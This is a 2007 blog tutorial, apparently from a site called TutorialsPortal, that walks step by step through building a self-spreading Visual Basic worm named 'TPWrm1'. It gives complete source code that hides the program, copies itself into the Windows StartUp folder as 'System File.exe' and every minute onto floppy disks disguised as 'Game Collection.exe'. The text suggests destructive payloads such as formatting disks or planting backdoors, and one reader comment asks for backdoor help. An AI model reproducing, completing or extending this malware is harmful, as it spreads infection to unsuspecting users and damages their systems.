Worm Programming Basic
Written on June 5, 2007 by admin
In this tutorials, I will show how to make a virus. In this tutorial, you will learn basic virus programming.
We recommended you to install DeepFreeze or ShadowUser, this program is useful to automatically restore your computer to ‘fresh’ every your computer restart. If you don’t want to use DeepFreeze or ShadowUser you can use Virtual PC or VMWare.
This virus has three sub-routines:
First, infect the computer by copying itself to system, removable disk, or using network.
Second, the worm has ‘life defender’ that will monitor virus process still running on the system.
Third, the worm have payload for execute some process. Such as, delete data, format harddisk, build backdoor, and many more.
Algorithm
This worm named ‘TPWrm1’ (TutorialsPortal Worm 1). This worm using folder icon and unique name to fraud the user. This worm is very basic, so this worm only can infect Windows 9x and ME that installed at drive C. TPWrm1 has some routine to do this process.
1. Check for worm existence at computer system.
2. If TPWrm1 doesn’t find itself at certain computer, TPWrm1 will copying itself to StartUp directory on StartMenu.
3. Every 1 minute, TPWrm1 trying to copying itself to Floppy Disk.
4. Every 13th October, TPWrm1 will show “TPWrm1 is on your computer!!†and stop all worm activity on that day.
Coding
Step 1. Open Visual Basic application, create new project.
Step 2. You must set the project properties, right click on Project1 on Project Explorer Windows
Step 3. Change Project Name to: TPWrm1
Step 4. Click Compile tab, change to 'Compile to P-Code'
Step 5. Set form properties with:
Form1
Name: frmTPWrm1
Icon: (icon)
ShowInTaskbar: False
Visible: False
Step 6. Add timer object, and set the object properties with:
Form1
Name: tmrTPWrm1
Enable: True
Interval: 60000
Step 7. Type this script:
-
'TPWrm1 by RiE
-
'Bogor, West Java, Indonesia
-
Option Explicit
-
-
Private Sub Form_Load()
-
On Error Resume Next
-
If App.PrevInstance = True Then End
-
If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _
-
"em File.exe")) = 0 Then
-
FileCopy WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _
-
"tUp\System File.exe"
-
End If
-
If App.Path = "A:\" Or App.Path = "B:\" Then
-
Unload Me
-
End If
-
End Sub
-
-
Private Sub tmrTPWrm1_Timer()
-
On Error Resume Next
-
If Len(Dir$("A:\Game Collection.exe")) = 0 Then
-
FileCopy WormFile, "A:\Game Collection.exe"
-
End If
-
If Day(Now) = 13 And Month(Now) = 10 Then
-
MsgBox "TPWrm1 is on your computer!!"
-
Unload Me
-
End If
-
End Sub
-
-
Private Function WormFile()
-
Dim WPath, WName As String
-
WPath = App.Path
-
If Right(WPath, 1) <> "\" Then
-
WPath = WPath & "\"
-
End If
-
WName = App.EXEName & ".exe"
-
WormFile = WPath & WName
-
End Function
Step 8. Compile this project, click File > Make TPWrm1.exe
Done..! You've made a simple worm.. Don't forget our next tutorial about worm again.
Sorry for my bad English, CMIIW..
[…] worm name is TPWrm2 (TutorialsPortal Worm 2), a worm that smarter than TPWrm1 because has WSH (Windows Scripting Host) for registry manipulate or for detect special folder in […]
nice tutorial..
it’s good to read by newbie..
thanks
can you please step me through making a backdoor into my virus.
that would be great!
thnx
Makasih atas tutorialnya. kalo ada tutorial lagi boleh dipublikasikan atau kirim aja ke email.
what does this instruction tell the program to do ?
<>
<>